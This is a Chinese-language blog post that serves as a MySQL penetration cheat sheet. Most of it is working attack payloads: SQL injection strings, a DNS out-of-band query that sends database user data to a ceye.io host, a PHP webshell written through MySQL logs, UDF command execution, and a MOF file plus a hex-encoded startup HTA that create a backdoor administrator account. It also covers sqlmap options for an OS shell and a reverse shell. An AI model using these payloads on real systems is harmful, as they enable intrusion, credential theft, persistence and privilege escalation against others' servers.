Mysql渗透

youncyb 发布于 2019-09-14 2908 次阅读 SQL INJECTION


1、SQL注入

1.SQL注入原理

  将恶意的sql语句插入到正常的查询语句中,在后台的数据库中去解析执行。

2.SQL注入分类
  • 按照SQL查询种类:

  1.数字型
  2.字符型注入
  • 按照SQL注入攻击的方式:

  1.报错注入

  1.基于(floor)的报错注入
  ' and (select 1 from (select count(*), concat(0x3a,0x3a,floor(rand(0)*2), 0x3a,0x3a,(注入语句))a from information_schema.tables group by a)b)-- -
  可简化为:and select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x5c,(注入语句),0x5c)
  若关键的表被禁了,可用:select count(*) from (select 1 union select null union select !1)a group by concat(version(),floor(rand(0)*2))
  若是rand被禁用:可用 select min(@a:=1) from information_schema.tables group by concat((报错语句),@a:=(@a+1)%2)
  注:information_schema.tables == (select 1 union select null union select !1)a
  由count(*),group by ,rand()引发,floor(rand(0)*2) 会导致出现固定的主键值:01101100111011,并且会多次计算,经过5次计算floor(rand(0)2),对应的3次记录查询,即:第一次查询 f为0,查询虚拟表,发现没有记录,尝试插入虚拟表时会再次计算f(已经两次计算),插入数据,此时f为1有了数据;第二次查询,发现f为1,已经存在数据,则count()+1;第三次查询时发现f为0,查询虚拟表发现没有对应的数据,尝试插入虚拟表,此时f再次被计算为1,插入时发现已经有数据了,由于数据库主键唯一,所以不能插入,导致出错。
  2.基于(extractalue)的报错注入
   and extractvalue(1, concat(0x5c,(报错语句),0x5c))
  3.基于(updatexml)的报错注入
  and 1=(updatexml(1,concat(0x5c,(报错语句),0x5c),1))

2、盲注

  截取函数:substr、substring、mid、left
  编码函数:ord、hex、ascii、char
  条件语句:if、case when then else end、ifnull、nullif
  延时函数:sleep、benchmark(50000,sha1(1))、get_lock(str,timeout)、笛卡尔积、RLIKE
  笛卡尔积:select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C;
  RLIKE:concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b'
  regexp注入:' and 1=(if(select user() regexp '^r'),1,0)-- -
  盲注时一些技巧:substr(exp from for) limit 1 offset 0
  二分法:
  位计算法(计算每一位是1还是0[1,2,4,8,16,32,64]):& | ^ 都可以

  3.union 联合注入

mysql 5.6 版本后可用mysql.innodb_table_stats || mysql.innodb_index_stats 代替  information_schema.tables

file_priv  mysql.user load_file || into outfile

4、宽字节注入

  由于服务器使用了多字节编码并且用了addslashes函数,目前测出GBK和BIG5会导致宽字节注入,\ 的十六进制0x5c,而UTF-8等其他的编码低字节位不包含0x5c,实例:
  %df' || %b3' || 錦'
  注意代码:
1
$name = addslashes($_GET['name']); //%df'
mysqli_query($con,"set names GBK");

2
iconv("GBK","UTF-8", addslashes($_GET['name'])); //%b3'

3
2GBKUTF-8顺序调换//'

4
$name = iconv("UTF-8","GBK",$_GET['name']);//'
addslashes($name);
mysqli_query($con, "set name GBK");

5、order by 后的 注入

  注意下order=xxxx,看是否有排序

  6、dnslog带外数据

  要求:
secure-file-priv=null 既不能读,也不能写
skip-name-resolve OFF
secure-file-priv    mysql 5.6.34 后默认为null,不能通过select ... into outfile ... 写文件

select load_file(CONCAT('\\\\',(SELECT hex(host) FROM mysql.user WHERE user='root' LIMIT 1),'xxx.ceye.io\\abc'))

7、二次注入

8、在secure-file-priv=null下,写日志拿webshell

1. 所有查询记录日志

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

2. 慢查询日志
慢日志默认超时时间为10秒,在超过这个时间的SQL语句会被记录到日志文件中,可以用show global variables like '%long_query_time%'查看,可用set global long_query_time=0.001;更改

set global slow_query_log=1;
set global slow_query_log_file='D:/phpStudy/WWW/cmd.php';
select '<?php assert($_POST["cmd"]);?>' or sleep(11);

9. 基础信息

select host,user,password from mysql.user //用户密码、hash
mysql大于等于5.7版本:password字段改为authentication_string

10. 命令执行||提权

1. UDF

  • 要求
  1. mysql5.1以下版本udf.dll存放在system32目录下,mysql5.1以上版本udf.dll存放在lib/plugin目录下,但是不是完整版的mysql是没有plugin目录的,可以尝试NTFS ADS文件流写目录,不过成功率有问题:
    select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
    select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
    若是遇到:ERROR 3 (HY000): Error writing file xxx (Errcode: 22)这个不用担心,目录已经创建了,13就不行
  2. secure-file-priv为空,如果不为空,我们只能通过webshell等等上传
  3. 目录可写
  4. 如果是纯粹的mysqlweb页面注入,必须要支持堆叠查询才能把数据干净的写进去
  • 当可上传udf.dll时,但webshell权限不能写plugin目录
    select load_file('webshell/path/udf.dll') into dumpfile 'c:\xxx\xx\xxx\lib\plugin\udf.dll'
  • 当不可上传udf.dll时,通过sql写入
select unhex('16进制不加0x') into dumpfile 'xxx'
select 0x16 into dumpfile 'xxx' 
select convert(0x13ed, binary) into dumpfile 'xxx'
  • 创建函数
create function cmdshell return string soname 'udf.dll';
select cmdshell('xxx');
drop function cmdshell;
  • Linux
    对于linux来说方法还是一样的,只是这里可以多一种可能性,先利用mysql条件竞争漏洞cve-2016-6663将自身提到mysql权限,这样我们就对lib/plugin目录有了写权限

2. mof

  • 原理
    托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
    MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
  • 要求(限制挺大的,觉得没什么用)
    1. windows 03及以下版本
    2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
    3. secure-file-priv参数不为null
  • 利用
    公开的mof文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行以下命令写入mof目录:
select load_file('c:\xxx\hacker.mof') into dumpfile 'into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof'

3. 启动项提权

  • 要求
  1. secure-file-priv不能等于null,因为要用到他将vbs文件写入启动项目录
  2. 当前运行的mysql具有写入启动项目录的权限
  3. 重启
  • vbs脚本

<SCRIPT LANGUAGE="VBScript">on error resume nextSet WS = createobject("WScript.Shell")WS.run "cmd /c net1.exe user hacker 1 /add && net1.exe localgroup administrators hacker /add && del /f /q backdoor.hta",0</script><script language=javascript>window.close();</script>

转换为16进制:
3c534352495054204c414e47554147453d225642536372697074223e6f6e206572726f7220726573756d65206e657874536574205753203d206372656174656f626a6563742822575363726970742e5368656c6c222957532e72756e202022636d6420202f6320206e6574312e65786520207573657220206861636b657220203120202f6164642020262620206e6574312e65786520206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164642026262064656c202f66202f71206261636b646f6f722e687461222c303c2f7363726970743e3c736372697074206c616e67756167653d6a6176617363726970743e77696e646f772e636c6f736528293b3c2f7363726970743e

  • 启动项路径

用户启动项:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
系统启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

  • 利用

select 0x3c534352495054204c414e47554147453d225642536372697074223e6f6e206572726f7220726573756d65206e657874536574205753203d206372656174656f626a6563742822575363726970742e5368656c6c222957532e72756e202022636d6420202f6320206e6574312e65786520207573657220206861636b657220203120202f6164642020262620206e6574312e65786520206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164642026262064656c202f66202f71206261636b646f6f722e687461222c303c2f7363726970743e3c736372697074206c616e67756167653d6a6176617363726970743e77696e646f772e636c6f736528293b3c2f7363726970743e into dumpfile 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.hta'

10. 关于sqlmap在mysql渗透中应用(以提权、命令执行、shell反弹来说)

1. sqlmap --os-shell(--os-cmd=whoami)

有部分人,可能会认为sqlmap这个参数,利用原理是udf,但是真实方法是通过select 0xxxxxxx into outfile 的方法写入到web路径下拿到一个小马

那么,难道就没有udf了吗?实则不然,可以用 --udf-inject参数,这参数就是udf了,但是这参数需要支持堆叠查询

2. sqlmap --os-pwn
这个反弹shell的参数,实际上也是要先利用到写webshell建立小马,(所以一旦遇到secure-file-priv=null或者disable_function直接就歇菜了),建立在icmp信道或者meterpreter的反弹,不过需要注意你或许会用得上--tmp-path这个参数,特别是在windows,因为sqlmap默认会是/tmp/xxx,而这个目录在windows中不存在

3. sqlmap --reg-read等
这要和--udf-inject配合使用才行,先用--udf-inject,再用--reg-read,同时你还得加上--tmp-path指定一个windows上存在的并且可写的路径,c:\\windows\\temp就可以,原因可以看第二点

4. 感觉不对就加-vv调试

11. 参考

mysql提权
mysql CVE-2016-6663 条件竞争漏洞提权详情
二次注入